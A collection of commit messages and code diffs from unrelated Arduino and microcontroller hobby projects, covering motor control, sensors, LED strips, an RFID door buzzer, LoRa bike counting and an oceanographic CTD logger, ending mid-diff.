-        Serial.println(incomingByte, DEC);
-    }
-}
-
 /* Function to drive given PWM pin given value */
-void setMotor(int motor, int value) {
-
-  /* Map the value to 0 - 255 */
-  value = map(value,-100,100,0,255);
-
-  Serial.println(value);
+/* 0 - 127 is negative, 127-255 is positive */
+void setMotor(int motor, byte value) {

   int forwardPin;
   int reversePin;
@@ -95,11 +93,17 @@
     reversePin = pwmPin4;
   }

-  if(value < 0) {
+  /* Drive Backwards */
+  if(value < 127) {
+    /* Map the value to 0 - 255 */
+    value = map(value,127,0,0,255);
     analogWrite(forwardPin, 0);
     analogWrite(reversePin, value);
   }
+  /* Drive Forwards */
   else {
+    /* Map the value to 0 - 255 */
+    value = map(value,128,255,0,255);
     analogWrite(reversePin, 0);
     analogWrite(forwardPin, value);
   }


fix getstatus

fix getstatus

--- arduttons.ino
+++ arduttons.ino
@@ -98,7 +98,7 @@
 //
    char result = 0;
    for (int i = 0; i < pinc; i++)
-      if (pineepromstate[i] == 1) result &= 1 << i;
+      if (pineepromstate[i] == 1) result |= 1 << i;
    return result;
 }


update pixel count

update pixel count

--- firmware/http-neopixel/spark-neopixel-control.ino
+++ firmware/http-neopixel/spark-neopixel-control.ino
@@ -23,7 +23,7 @@
 #define PIXEL_PIN_2 D2
 #define PIXEL_COUNT_0 5
 #define PIXEL_COUNT_1 5
-#define PIXEL_COUNT_2 150
+#define PIXEL_COUNT_2 465
 #define PIXEL_TYPE WS2812B

 //particle params


Use SI units, add correction of position based on potentiometer reading

--- Arduino/Electronic_rule/src/src.ino
+++ Arduino/Electronic_rule/src/src.ino
@@ -8,24 +8,14 @@

 //Parts of code taken from http://playground.arduino.cc/Main/RotaryEncoders J.Carter(of Earth)

-// 'threshold' is the De-bounce Adjustment factor for the Rotary Encoder.
-//
-// The threshold value I'm using limits it to 100 half pulses a second
-//
-// My encoder has 12 pulses per 360deg rotation and the specs say
-// it is rated at a maximum of 100rpm.
-//
-// This threshold will permit my encoder to reach 250rpm so if it was connected
-// to a motor instead of a manually operated knob I
-// might possibly need to adjust it to 25000. However, this threshold
-// value is working perfectly for my situation
-//
+// 'threshold' is the De-bounce Adjustment factor for the Rotary Encoder. halfSteps
 volatile unsigned long threshold = 1000;

-// 'rotaryHalfSteps' is the counter of half-steps. The actual
-// number of steps will be equal to rotaryHalfSteps / 2
+// 'halfStepshalfSteps' is the counter of half-steps. The actual
+// number of steps will be equal to halfSteps / 2
 //
-volatile long rotaryHalfSteps = 0;
+volatile long halfSteps = 0;
+long halfStepsCorrection = 0;

 // Working variables for the interrupt routines
 //
@@ -43,6 +33,8 @@
 int pinB = 3;
 int pinReset = 4;

+boolean isAbsoluteReference = false;
+
 // These constants won't change.  They're used to give names
 // to the pins used:
 const int analogInPin = 0;  // Analog input pin that the potentiometer is attached to
@@ -51,35 +43,44 @@
 int sensorValue = 0;        // value read from the pot
 int outputValue = 0;        // value output to the PWM (analog out)

+double linearResolution = 0.005; //Resolution of the linear encoder (in meters)
+double linearRange = 0.5; //Range of the sensor to normalize data (+/- linearRange/2)
+
+double potentiometerRangeDeg= 300;
+double potentiometerMaxRange = potentiometerRangeDeg * 3.1414/180;
+double potentiometerUsedRange = 3.1415;
+double potentiometerDistance = 0.05;

 void int0()
-	{
-	if ( micros() - int0time < threshold )
-		return;
-	int0history = int0signal;
-	int0signal = bitRead(PIND,pinA);
-	if ( int0history==int0signal )
-		return;
-	int0time = micros();
-	if ( int0signal == int1signal )
-		rotaryHalfSteps++;
-	else
-		rotaryHalfSteps--;
-	}
+{
+  if ( micros() - int0time < threshold )
+    return;
+  int0history = int0signal;
+  int0signal = bitRead(PIND,pinA);
+  if ( int0history==int0signal )
+    return;
+  int0time = micros();
+  if ( int0signal == int1signal )
+    halfSteps++;
+  else
+    halfSteps--;
+}

 void int1()
-	{
-	if ( micros() - int1time < threshold )
-		return;
-	int1history = int1signal;
-	int1signal = bitRead(PIND,pinB);
-	if ( int1history==int1signal )
-		return;
-	int1time = micros();
-	}
+{
+  if ( micros() - int1time < threshold )
+    return;
+  int1history = int1signal;
+  int1signal = bitRead(PIND,pinB);
+  if ( int1history==int1signal )
+    return;
+  int1time = micros();
+}
+
 void reset()
 {
- rotaryHalfSteps = 0;
+  halfStepsCorrection = halfSteps;
+  isAbsoluteReference = true;
  }

 void setup() {
@@ -96,22 +97,36 @@
   pinMode(pinReset, INPUT);
   digitalWrite(pinReset, HIGH);
   PCintPort::attachInterrupt(pinReset, &reset, CHANGE);
+
+  // Setup serial communication
   Serial.begin(115200);
   Serial.println("---------------------------------------");
 }

-uint8_t i;
+void loop() {
+  long steps = (halfSteps / 2);
+  double absolute_position_m = (halfSteps-halfStepsCorrection)*linearResolution/2;
+
+  // read the analog in value:
+  double raw_angle = analogRead(1)/1024.0*potentiometerMaxRange;
+  double neutralAngle = 0.8*potentiometerMaxRange;
+  double angle = raw_angle - neutralAngle;
+  double correction_m = angle*potentiometerDistance;
+
+  Serial.print((absolute_position_m/linearRange)*1024 + 512);
+  Serial.print(",");
+  Serial.print(correction_m/linearRange*1024 + 512);
+  Serial.print(",");
+  Serial.print((absolute_position_m + correction_m)/linearRange*1024 + 512);
+  Serial.print(",");
+  Serial.print(angle/potentiometerUsedRange*1024 + 512);
+  Serial.print(",");

-void loop() {
-  long actualRotaryTicks = (rotaryHalfSteps / 2);
-    // read the analog in value:
-  Serial.print(rotaryHalfSteps*8+512);
-  Serial.print(",");
   //Serial.print("\t output = ");
   //Serial.println(outputValue);
   delay(2);

-  for (int thisPin = 1; thisPin < 6; thisPin++) {
+  for (int thisPin = 0; thisPin < 2; thisPin++) {
   sensorValue = analogRead(thisPin);

   // print the results to the serial monitor:


Example for console demo is updated #73

Example for console demo is updated #73

--- examples/direct_draw/lcd_console/lcd_console.ino
+++ examples/direct_draw/lcd_console/lcd_console.ino
@@ -49,10 +49,13 @@

 void loop()
 {
+    static uint8_t i = 0;
     /* Here use any methods, provided by Arduino Print class */
-    console.print( "This is console output: " );
-    console.println( "go to the next line" );
+    console.print("Line ");
+    console.print( i );
+    i++;
     delay(500);
+    console.println("");
 }


Simpler example

Simpler example

--- lib-arduino/ACNode/examples/ExhaustNode/ExhaustNode.ino
+++ lib-arduino/ACNode/examples/ExhaustNode/ExhaustNode.ino
@@ -14,343 +14,149 @@
    See the License for the specific language governing permissions and
    limitations under the License.
 */
-// Node MCU has a weird mapping...
-//
-#define LED_GREEN   16 // D0 -- LED inside the on/off toggle switch
-#define LED_ORANGE  5  // D1 -- LED inside the orange, bottom, push button.
-#define RELAY       4  // D2 -- relay (220V, 10A on just the L)
-#define PUSHBUTTON  0  // D3 -- orange push button; 0=pressed, 1=released

-// With the new OTA code -- All ESPs have
-// enough room for the code -- though still need
-// Over 328kB free to actually have enough room
-// to be able to flash.
-//
-#define OTA
+#define BUZZER    (4)   // GPIO pin count.
+#define SOLENOID  (5)

-// If it has wired ethernet -- this will disable WiFi.
-// Actual pinning defined in WiredEthernet.ino.
-//
-#define WIRED_ETHERNET
+#define RFID_SELECT_PIN (6)
+#define RFID_RESET_PIN (7)

-// Allow the unit to go into AP mode for reconfiguration
-// if no wifi network is found. Note that this relies
-// on a SPIFFS to store the config; so >= 2Mbyt flash is
-// needed (and realistically 4Mbyte for the OTA).
-//
-#define CONFIGAP
+#include <ACNode.h>

-// Comment out to reduce debugging output. Note that most key
-// debugging is only visible on the serial port.
-//
-#define DEBUG
-
-// sent an i-am-alive ping every 3 seconds.
-#define DEBUG_ALIVE
-
-#import <ACNode.h>
-
-WiFiClient espClient;
-PubSubClient client(espClient);
-Log Log;
-
-#define BUILD  __FILE__ " " __DATE__ " " __TIME__ " " ARDUINO_BOARD
-
-#include "/Users/dirkx/.passwd.h"
-#ifndef CONFIGAP
-// Hardcoded, compile time settings.
-const char ssid[34] = WIFI_NETWORK ;
-const char wifi_password[34] = WIFI_PASSWD;
-#endif
-
+ACNode node = ACNode(true); // Force wired PoE ethernet.

 typedef enum {
-  SWERROR, OUTOFORDER, NOCONN, // some error - machine disabLED.
+  BOOTING, SWERROR, OUTOFORDER, NOCONN, // some error - machine disabLED.
   WAITINGFORCARD,             // waiting for card.
-  POWERED,                    // Relay powered.
-  // DUSTEXTRACT,
-  PAUSED_AFTER_ERROR,
-  NOTINUSE,
+  CHECKINGCARD,
+  BUZZING,
+  REJECTED,
+  NOTINUSE
 } machinestates_t;

 const char *machinestateName[NOTINUSE] = {
   "Software Error", "Out of order", "No network",
-  "Fan off",
-  "Fan on",
-  // "Fan runout",
+  "Waiting for card",
+  "Buzzing door",
+  "Rejecting noise",
+  "== not in use == "
 };

-static machinestates_t laststate;
 unsigned long laststatechange = 0;
-machinestates_t machinestate;
-unsigned long beatCounter = 0;      // My own timestamp - manually kept due to SPI timing issues.
+static machinestates_t laststate = OUTOFORDER;
+machinestates_t machinestate = BOOTING;
+
+OTA ota = OTA("FooBar");
+RFID reader(RFID_SELECT_PIN, RFID_RESET_PIN);
+MSL msl = MSL();
+
+SyslogStream SyslogStream(); // default syslog port and destination (gateway address).
+MqttLogStream MqttLogStream("log");

 void setup() {
-  digitalWrite(RELAY, 0); // Stop the relay from fluttering during pinMode() change.
-  pinMode(RELAY, OUTPUT);
+  Serial.begin(115200);
+  Serial.println("\n\n\n" __FILE__ " " __DATE__ " " __TIME__);
+
+  // Init the hardware and get it into a safe state.
+  //
+  pinMode(BUZZER, OUTPUT);
+  digitalWrite(BUZZER, 0);
+  pinMode(SOLENOID, OUTPUT);
+  digitalWrite(SOLENOID, 0);

-  pinMode(LED_GREEN, OUTPUT);
-  pinMode(LED_ORANGE, OUTPUT);
-  pinMode(PUSHBUTTON, INPUT);
+  node.onConnect([]() {
+    Log.println("Connected");
+    machinestate = WAITINGFORCARD;
+  });
+  node.onDisconnect([]() {
+    Log.println("Disconnected");
+    machinestate = NOCONN;
+  });
+  node.onError([](acnode_error_t err) {
+    Log.printf("Error %d\n", err);
+    machinestate = WAITINGFORCARD;
+  });
+  node.onValidatedCmd([](const char *cmd, const char *restl) {
+    if (!strcasecmp("open", cmd)) {
+      machinestate = BUZZING;
+    }
+    else if (!strcasecmp("denied", cmd)) {
+      machinestate = REJECTED;
+    } else {
+      Log.printf("Unhandled command <%s> -- ignored.", cmd);
+    }
+  });

-  setGreenLED(LED_FAST);
-  setOrangeLED(LED_OFF);
+  reader.onSwipe([](const char * tag) {
+    Log.printf("Card <%s> wiped - being checked.\n", tag);
+    machinestate = CHECKINGCARD;
+  });

-  SPI.begin(); // Init SPI bus
+  node.addHandler(ota);
+  node.addHandler(reader);
+  node.addSecurityHandler(msl);

-  Log.begin(mqtt_topic_prefix, 115200);
-  Log.println("\n\n\nBuild: " BUILD
-#ifdef OTA
-              " ota"
-#endif
-#ifdef CONFIGAP
-              " configAP"
-#endif
-#ifdef WIRED_ETHERNET
-              " ethernet"
-#else
-              " wifi"
-#endif
-#ifdef DEBUG
-              " debug"
-#endif
-#ifdef DEBUG_ALIVE
-              " fast-alive-beat"
-#endif
-#ifdef HASRFID
-              " rfid-reader"
-#endif
-#ifdef SIG1
-              " sig1"
-#endif
-#ifdef SIG2
-              " sig2"
-#endif
-             );
+  node.addLogger(Serial, ACLog::DEBUG);
+  // node.addLogger(SyslogStream, ACLog::VERBOSE);
+  // node.addLogger(MqttStream, ACLog::WARN);
+
+  machinestate = BOOTING;

-#ifdef DEBUG
-  debugFlash();
-#endif
+  node.set_debug(true);
+  node.set_debugAlive(true);

-#ifdef WIRED_ETHERNET
-  Debug.println("starting up ethernet");
-  eth_setup();
-#endif
-
-#ifdef CONFIGAP
-  configBegin();
-
-  // Go into Config AP mode if the orange button is pressed
-  // just post powerup -- or if we have an issue loading the
-  // config.
-  //
-  static int debounce = 0;
-  while (digitalRead(PUSHBUTTON) == 0 && debounce < 5) {
-    debounce++;
-    delay(5);
-  };
-  if (debounce >= 5 || configLoad() == 0)  {
-    configPortal();
-  }
-#endif
-
-#ifndef WIRED_ETHERNET
-  Debug.println("starting up wifi");
-  WiFi.mode(WIFI_STA);
-#endif
-
-#ifdef CONFIGAP
-  WiFiManager wifiManager;
-  wifiManager.autoConnect();
-#else
-  WiFi.begin(ssid, wifi_passwd);
-#endif
-
-  const int del = 10; // seconds.
-
-  // Try up to del seconds to get a WiFi connection; and if that fails; reboot
-  // with a bit of a delay.
-  //
-  unsigned long start = millis();
-  while (WiFi.status() != WL_CONNECTED && (millis() - start < del * 1000)) {
-    delay(100);
-  };
-
-#ifndef WIRED_ETHERNET
-  if (WiFi.status() != WL_CONNECTED) {
-    Log.printf("No connection after %d seconds (ssid=%s). Going into config portal (debug mode);.\n", del, WiFi.SSID().c_str());
-    configPortal();
-#if 0
-    Log.printf("No connection after %d seconds (ssid=%s). Rebooting.\n", del, WiFi.SSID().c_str());
-    setOrangeLED(LED_FAST);
-    Log.println("Rebooting...");
-    delay(1000);
-    ESP.restart();
-#endif
-  }
-  Log.printf("Wifi connected to <%s>\n", WiFi.SSID().c_str());
-#endif
-
-#ifdef OTA
-  // Only allow OTA post (any) Wifi portal config -- as otherwise the
-  // latter can timeout in the middle of an OTA update without ado.
-  //
-
-  configureOTA();
-#endif
-
-  Log.print("IP address: ");
-  Log.println(WiFi.localIP());
-
-#ifdef HASRFID
-  configureRFID(PIN_RFID_SS, PIN_RFID_RST);
-#endif
-  configureMQTT();
-
-  machinestate = WAITINGFORCARD;
-  setGreenLED(LED_ON);
-
-#ifdef DEBUG
-  debugListFS("/");
-#endif
+  node.begin();
 }

-void machineLoop() {
-
-  // If we hold the button long-ish; it will start flip-flopping
-  // with a 3 second cycle; but short jab's will immediately
-  // allow it to go on/off.
-  //
-  static unsigned long last_button_detect = 0;
-  if (digitalRead(PUSHBUTTON) == 0 && millis() - last_button_detect > 1500) {
-    last_button_detect = millis();
-
-    if (machinestate == WAITINGFORCARD) {
-      machinestate = POWERED;
-      send(NULL, "event manual-start");
-    }
-    else if (machinestate >= POWERED) {
-      machinestate = WAITINGFORCARD;
-      send(NULL, "event manual-stop");
-    } else
-      send(NULL, "event spurious-button-press");
-  }
-  if (digitalRead(PUSHBUTTON) == 1 && millis() - last_button_detect > 400) {
-    last_button_detect =  0;
-  }
-
-  // Go green if we just left some error state.
-  //
-  if (laststate <= NOCONN && machinestate > NOCONN)
-    setGreenLED(LED_ON);
-
-  int relayenergized = 0;
-  switch (machinestate) {
-    case OUTOFORDER:
-    case SWERROR:
-    case NOCONN:
-    case NOTINUSE:
-      setGreenLED(LED_FAST);
-      break;
-    case WAITINGFORCARD:
-      if (machinestate <= NOCONN)
-        setGreenLED(LED_ON);
-      setOrangeLED(LED_FLASH);
-      break;
-    case POWERED:
-      setOrangeLED(LED_ON);
-      relayenergized = 1;
-      break;
-    case PAUSED_AFTER_ERROR:
-      if (millis() - laststatechange > 1000) {
-        machinestate = WAITINGFORCARD;
-        setRedLED(LED_OFF);
-      }
-      break;
-  };
-
-  digitalWrite(RELAY, relayenergized);
+void loop() {
+  node.loop();

   if (laststate != machinestate) {
     laststate = machinestate;
     laststatechange = millis();
   }
+
+  switch (machinestate) {
+    case WAITINGFORCARD:
+      digitalWrite(SOLENOID, 0);
+      digitalWrite(BUZZER, 0);
+      break;
+
+    case CHECKINGCARD:
+      digitalWrite(BUZZER, ((millis() % 500) < 100) ? 1 : 0);
+      if ((millis() - laststatechange) > 5000)
+        machinestate = REJECTED;
+      break;
+
+    case BUZZING:
+      digitalWrite(SOLENOID, 1);
+      digitalWrite(BUZZER, 1);
+      if ((millis() - laststatechange) > 5000)
+        machinestate = WAITINGFORCARD;
+      break;
+
+    case REJECTED:
+      digitalWrite(BUZZER, ((millis() % 200) < 100) ? 1 : 0);
+      if ((millis() - laststatechange) > 5000)
+        machinestate = WAITINGFORCARD;
+      break;
+
+    case NOCONN:
+      digitalWrite(BUZZER, ((millis() % 3000) < 10) ? 1 : 0);
+
+      if ((millis() - laststatechange) > 120 * 1000) {
+        Log.printf("Connection to SSID:%s lost for 120 seconds now -- Rebooting...\n", WiFi.SSID().c_str());
+        delay(500);
+        ESP.restart();
+      }
+      break;
+
+    case BOOTING:
+    case OUTOFORDER:
+    case SWERROR:
+    case NOTINUSE:
+      digitalWrite(BUZZER, ((millis() % 1000) < 10) ? 1 : 0);
+      break;
+  };
 }

-
-void loop() {
-  // Keepting time is a bit messy; the millis() wrap around and
-  // the SPI access to the reader seems to mess with the millis().
-  // So we revert to doing 'our own'.
-  //
-  static unsigned long last_loop = 0;
-  if (millis() - last_loop >= 1000) {
-    unsigned long secs = (millis() - last_loop + 499) / 1000;
-    beatCounter += secs;
-    last_loop = millis();
-  }
-
-  static unsigned long last_wifi_ok = 0;
-  if (WiFi.status() != WL_CONNECTED) {
-    Debug.println("Lost WiFi connection.");
-    if (machinestate <= WAITINGFORCARD)
-      machinestate = NOCONN;
-    if ( millis() - last_wifi_ok > 10000) {
-      Log.printf("Connection to SSID:%s for 10 seconds now -- Rebooting...\n", WiFi.SSID().c_str());
-      delay(500);
-      ESP.restart();
-    }
-  } else {
-    last_wifi_ok = millis();
-  };
-
-#ifdef OTA
-  otaLoop();
-#endif
-
-
-  machineLoop();
-  mqttLoop();
-
-#ifdef DEBUG_ALIVE
-  static unsigned long last_beat = 0;
-  if (millis() - last_beat > 3000 && client.connected()) {
-    send(NULL, "ping");
-    last_beat = millis();
-  }
-#endif
-
-#ifdef HASRFID
-  if (machinestate >= WAITINGFORCARD && millis() - laststatechange > 1500) {
-    if (checkTagReader()) {
-      laststatechange = millis();
-      if (machinestate >= ENERGIZED)
-        machinestate = WAITINGFORCARD;
-      else
-        machinestate = CHECKING;
-    }
-  }
-#endif
-
-#ifdef DEBUG
-  // Emit the state of the node very 5 seconds or so.
-  static int last_debug = 0, last_debug_state = -1;
-  if (millis() - last_debug > 5000 || last_debug_state != machinestate) {
-    Log.print("State: ");
-    Log.print(machinestateName[machinestate]);
-    Log.print(" Wifi= ");
-    Log.print(WiFi.status());
-    Log.print(WiFi.status() == WL_CONNECTED ? "(connected)" : "");
-    Log.print(" MQTT=<");
-    Log.print(state2str(client.state()));
-    Log.print(">");
-
-    Log.print(" Button="); Log.print(digitalRead(PUSHBUTTON)  ? "not-pressed" : "PRESSed");
-    Log.print(" Relay="); Log.print(digitalRead(RELAY)  ? "ON" : "off");
-    Log.println(".");
-
-    last_debug = millis();
-    last_debug_state = machinestate;
-  }
-#endif
-}


now loading sensor id and smode from EEPROM the smode button also works

--- src/sensor/DHT22-WorkingPowerOnPin5/DHT22-WorkingPowerOnPin5.ino
+++ src/sensor/DHT22-WorkingPowerOnPin5/DHT22-WorkingPowerOnPin5.ino
@@ -3,11 +3,12 @@

 #define DHT_DEBUG

-#include "VirtualWire.h"
-#include "DHT.h"
+#include <VirtualWire.h>
+#include <DHT.h>
+#include <EEPROM.h>

 // pins
-#define BUTTONPIN 2
+#define BUTTON_PIN 2
 #define SENSOR_POWER_PIN 5              // power for DHT sensor
 #define DHTPIN 6                        // data pin for DHT sensor
 #define RFTX_PIN 12                     // data pin for RF Transmission
@@ -18,7 +19,12 @@
 #define DHTTYPE DHT22                   // DHT 22  (AM2302)
 #define SENSOR_POWER_HEATUP_DELAY 500   // wait for power stabilization

-char* sensor_id = "Sensor1"; // TODO: this will be later loaded from EEPROM
+// EEPROM ADDRESSES
+#define EE_SID_ADDR 0
+#define EE_SMODE_ADDR EE_SID_ADDR + sizeof(sensor_id)
+
+unsigned int sensor_id = 42;  // from EEPROM on address EE_SID_ADDR
+unsigned int smode = 0;       // from EEPROM on address EE_SMODE_ADDR

 DHT dht(DHTPIN, DHTTYPE);

@@ -28,8 +34,15 @@
     Serial.begin(9600);
   #endif

+  // reading sensor id from EEPROM
+  EEPROM.get(EE_SID_ADDR, sensor_id);
   DEBUG_PRINT("Hello, I'm sensor: ");
   DEBUG_PRINTLN(sensor_id);
+
+  // reading smode from EEPROM
+  EEPROM.get(EE_SMODE_ADDR, smode);
+  DEBUG_PRINT("Current sending mode is: ");
+  DEBUG_PRINTLN(smode);

   DEBUG_PRINT("Powering sensors from pin ");
   DEBUG_PRINTLN(SENSOR_POWER_PIN);
@@ -44,10 +57,40 @@

   vw_set_tx_pin(RFTX_PIN);
   vw_setup(RFTX_RATE);
+
+  // interrupt handler that will be activated when the user presses a button
+  attachInterrupt(digitalPinToInterrupt(BUTTON_PIN), on_button_press, RISING);
+}
+
+#define MILLISEC  1
+#define SECOND    1000 * MILLISEC
+#define MINUTE    60 * SECOND
+#define HOUR      60 * MINUTE
+
+#define SMODE_COUNT 4
+const int smode_delays_ms[SMODE_COUNT] = { 2*SECOND, 1*MINUTE, 10*MINUTE, 1*HOUR };
+
+// disty hack: reset function at address 0
+void(* resetFunc) (void) = 0;
+
+/**
+ * Interrupt handler for the "smode" button.
+ */
+void on_button_press() {
+
+  // cycle through sending modes
+  smode = (smode + 1) % SMODE_COUNT;
+
+  // write new smode value to EEPROM
+  EEPROM.put(EE_SMODE_ADDR, smode);
+
+  // now we can reset the device with a new smode value
+  resetFunc();
 }

 void loop() {

+  // turn off power from sensors to save battery
   digitalWrite(SENSOR_POWER_PIN, LOW);

   // Wait a few seconds between measurements.
@@ -81,7 +124,7 @@

   // Now sending a the message through RF module
   char msg[32]; // this buffer is used for sending messages through the RF module
-  sprintf(msg, "%s %d.%d %d.%d %d.%d",
+  sprintf(msg, "%u %i.%u %i.%u %i.%u",
     sensor_id,
     (int) temp, frac2(temp),
     (int) t, frac2(t),
@@ -94,7 +137,7 @@
   DEBUG_PRINTLN(msg);
 }

-int frac2(double x) {
+unsigned int frac2(double x) {
   return abs((x - (int) x) * 100);
 }


update

update

--- src/Firmware.ino
+++ src/Firmware.ino
@@ -210,6 +210,7 @@
     }
     case 'o':
     {
+        waitingForFinish();
         if (v[0] > 0)
         {
             for (int i = 0; i < NUM_AXIS; i++)
@@ -356,6 +357,16 @@
     for (;;)
     {
         if (_sys.plannedLength < POINTS_COUNT)
+        {
+            return;
+        }
+    }
+}
+void waitingForFinish()
+{
+    for (;;)
+    {
+        if (_sys.plannedLength < 1)
         {
             return;
         }


SDP610 countings getting sent to TTN

SDP610 countings getting sent to TTN

--- MoBiFloC/MoBiFlocApp/MoBiFlocApp.ino
+++ MoBiFloC/MoBiFlocApp/MoBiFlocApp.ino
@@ -8,12 +8,30 @@
 SoftwareSerial mySerial(7, 8); // RX, TX
 #define RST  2

+// Tresholds for filtering out noise and non bikes
+#define UPPER_TRESHOLD 200.0
+#define LOWER_TRESHOLD -200.0
+
+// How long to ignore new spikes in bike detection after a successful count
+#define COUNTING_PAUSE_TIME 3000
+
+// Recording cycle running variables, will be reset whenever a message is full or time is up
+// Count of bikes in the current rexording cycle
+unsigned int bikeCount = 0;
+// Start time of the current recording cycle
+unsigned long cycleStartTime = 0;
+unsigned long cycleEndTime = 0;
+// duty time of a cycle
+long cycleDuration = 60000; // 1 minute (only for PoC, should be 10 minutes later)

 // README FIRST:
 // Rename or copy the File TTNCredentials.h.editme and remove the .editme ending.
 // Edit it it accordingly and put your TTN keys in there, make sure you add it to git ignores.
 // Here we load it to be used, this file is kept out of GIT as its the private parts
 #include "TTNCredentials.h"
+
+// Debugging options
+#define debug FALSE

 rn2xx3 myLora(mySerial);

@@ -24,9 +42,99 @@

   // Open serial communications and wait for port to open:
   Serial.begin(9600);
-  mySerial.begin(9600);
   Serial.println("Startup");

+  setupRN2483();
+  setupSDP610();
+
+  led_off();
+  delay(2000);
+  startReportingCycle();
+}
+
+// Just for testing the snippet I used to send a float
+// static uint8_t floatdata[] = { 0,0,0,0,0,0,0,0};
+// Example on how to send a float
+// dtostrf(floatVar, minStringWidthIncDecimalPoint, numVarsAfterDecimal, charBuf);
+// dtostrf(difPressure,5,2,(char*)floatdata);
+// myLora.txUncnf(floatdata); // non blocking call
+// myLora.txCnf(difPressure);    // blocking call
+
+// the loop routine runs over and over again forever
+void loop() {
+  cycleEndCheck();
+  led_on();
+  detectBicycle();
+}
+
+void startReportingCycle() {
+  cycleStartTime = millis();
+}
+
+void cycleEndCheck() {
+  cycleEndTime = millis();
+  // Calculate the current duration
+  long duration = cycleEndTime - cycleStartTime;
+  //Serial.println("Current duration: " + String(duration) + " with a max duration of " + String(cycleDuration) );
+  //Serial.println("cycleSartTime: " + String(cycleStartTime) + " ; sycleEndTime: " + cycleEndTime);
+
+  // compare with max duration
+  if ( duration > cycleDuration ) {
+   // We reached the end of the cycle
+   finishReportingCycle();
+  }
+}
+
+void finishReportingCycle() {
+  //TODO implement
+  // Datastructure: Count;Temparature;Humidity;GPS
+  // TODO GPS, for now we leave it out
+  String gpspos = "Unknown";
+  // TODO get temp and humidity
+  long temparature = 0;
+  long humidity = 0;
+  // Send message
+  String msg = String(bikeCount) + ";" + String(temparature, DEC) + ";" + String(humidity, DEC) + ";" + gpspos;
+  Serial.println("Transmitting [" + msg + "]");
+  myLora.txUncnf(msg); // non blocking call
+  // Reset cylce
+  bikeCount = 0;
+  cycleEndTime = 0;
+  // Start a new cycle
+  cycleStartTime = millis();
+}
+
+void detectBicycle(){
+  readPressure();
+  debug("difPresure: " + String(difPressure));
+  // Check if it is above the upper and below the lower treshold
+  if(difPressure <= LOWER_TRESHOLD || UPPER_TRESHOLD <= difPressure){
+    // TODO we might want to measure time to later calculate speed
+    // Block and wait until it is between again
+    while(LOWER_TRESHOLD <= difPressure &&  difPressure <= UPPER_TRESHOLD) {
+      led_off(); // Make it blink quickly to show it is triggered
+      delay(5);
+      led_on();
+      readPressure();
+    }
+    // Count it as bike
+    bikeCount++;
+    debug("Counted a new bike");
+    led_off();
+    // Take a break before continuing counting
+    delay(COUNTING_PAUSE_TIME);
+  }
+}
+
+void setupSDP610(){
+  // Initialize I2C communication
+  Wire.begin();
+  // Set the starting value for the pressure difference to 0
+  difPressure = 0.0;
+}
+
+void setupRN2483(){
+  mySerial.begin(9600);
   // Reset rn2483
   pinMode(RST, OUTPUT);
   digitalWrite(RST, HIGH);
@@ -54,35 +162,7 @@
     join_result = myLora.init();
   }
   Serial.println("Successfully joined TTN");
-
-  led_off();
-
-  // Initialize I2C communication
-  Wire.begin();
-  // Set the starting value for the pressure difference to 0
-  difPressure = 0.0;
-  delay(2000);
-
 }
-
-// Just for testing sending a float
-static uint8_t floatdata[] = { 0,0,0,0,0,0,0,0};
-
-// the loop routine runs over and over again forever
-void loop() {
-  led_on();
-  readPressure();
-  Serial.print("TXing: ");
-  Serial.println(difPressure);
-  dtostrf(difPressure,5,2,(char*)floatdata);
-  myLora.txUncnf(floatdata); // non blocking call
-  //myLora.txCnf(difPressure);    // blocking call
-
-  led_off();
-
-  delay(20000);
-}
-

 void readPressure() {
   difPressure = SDP6x.GetPressureDiff();
@@ -97,3 +177,11 @@
 {
   digitalWrite(13, 0);
 }
+
+void debug(String msg) {
+  if(debug) {
+    Serial.println("[" + String(millis()) + "]" + msg);
+  }
+}
+
+


Fix EC & Temp Sensor Timing Bug

Fix EC & Temp Sensor Timing Bug

Fixes issue that caused EC sensor output to occasionally contain weird characters or miss line-endings. I found this happened when the serial data from the EC sensor happened to come in at the same time that a temperature sensor was sending its data (which occurred because the temp sensors sampling frequency was slightly shorter than the EC sensor, causing the communication pulses from the two to "drift" over each other.)

Fix:
1) I moved the temperature measurement steps so they only happen immediately after the EC sends a full measurement back.
2) use the setWaitForConversion(false) mode in the Dallas Temperature Library so that it can request a temperature measurement on the first loop and then read that measurement on the next (after the necessary measurement delay).

Added:
- A 20 second timeout incase someone forgets to uncomment the "While(!Serial)" lines at the top of the setup function before deployment.
- Constants to set the accuracy/resolution of the temperature & pressure sensors
- Sends the EC Circuit Board the 'get board info' command and the 'Set Sampling Frequency' commands during setup

--- OpenCTD_Feather_Adalogger/OpenCTD_master_m0/OpenCTD_master_m0.ino
+++ OpenCTD_Feather_Adalogger/OpenCTD_master_m0/OpenCTD_master_m0.ino
@@ -21,7 +21,12 @@

 const int chipSelect = 4; //sets chip select pin for SD card reader

-MS_5803 sensor = MS_5803(512); // Define pressure sensor.
+/* This integer specifies how high accuracy you want your pressure sensor to be (oversampling resolution).
+ * Ok values: 256, 512, 1024, 2048, or 4096 (Higher = more accuracy but slower sampling frequency**)
+ * ** There is no reason not to use the highest accuracy. This is because the datalogging rate is set by the
+ * sampling/response frequency of the ec sensor [default = 1 sec] (this is to avoid the case where both sensors send data at the same time). */
+#define PRESSURE_SENSOR_RESOLUTION 4096
+MS_5803 sensor = MS_5803(PRESSURE_SENSOR_RESOLUTION); // Define pressure sensor.

 OneWire oneWire(6); // Define the OneWire port for temperature.
 DallasTemperature sensors(&oneWire); //Define DallasTemperature input based on OneWire.
@@ -29,11 +34,21 @@
 SoftwareSerial ecSerial(12, 13); // Define the SoftwareSerial port for conductivity.

 double pressure_abs; //define absolute pressure variable
+
+/* This integer specifies how high resolution you want your temperature sensors to be.
+ * Ok values: 9,10,11,12 (Higher = more accuracy but slower sampling frequency**)
+ * ** There is no reason not to use the highest accuracy. This is because the datalogging rate is set by the
+ * sampling/response frequency of the ec sensor [default = 1 second] (this is to avoid the case where both sensors send data at the same time). */
+#define TEMP_SENSOR_RESOLUTION 12

 //Declare global temperature variables.
 float tempA;
 float tempB;
 float tempC;
+int tempADelayStartTime; // Define a variable to mark when we requested a temperature mesurement from A so we can wait the required delay before reading the value.
+int tempBDelayStartTime; // Define a variable to mark when we requested a temperature mesurement from B so we can wait the required delay before reading the value.
+int tempCDelayStartTime; // Define a variable to mark when we requested a temperature mesurement from C so we can wait the required delay before reading the value.
+int requiredMesurementDelay = sensors.millisToWaitForConversion(TEMP_SENSOR_RESOLUTION);

 //Declare global variables for eletrical conductivity
 float EC_float = 0;
@@ -42,11 +57,13 @@
 byte received_from_sensor = 0; // How many characters have been received.
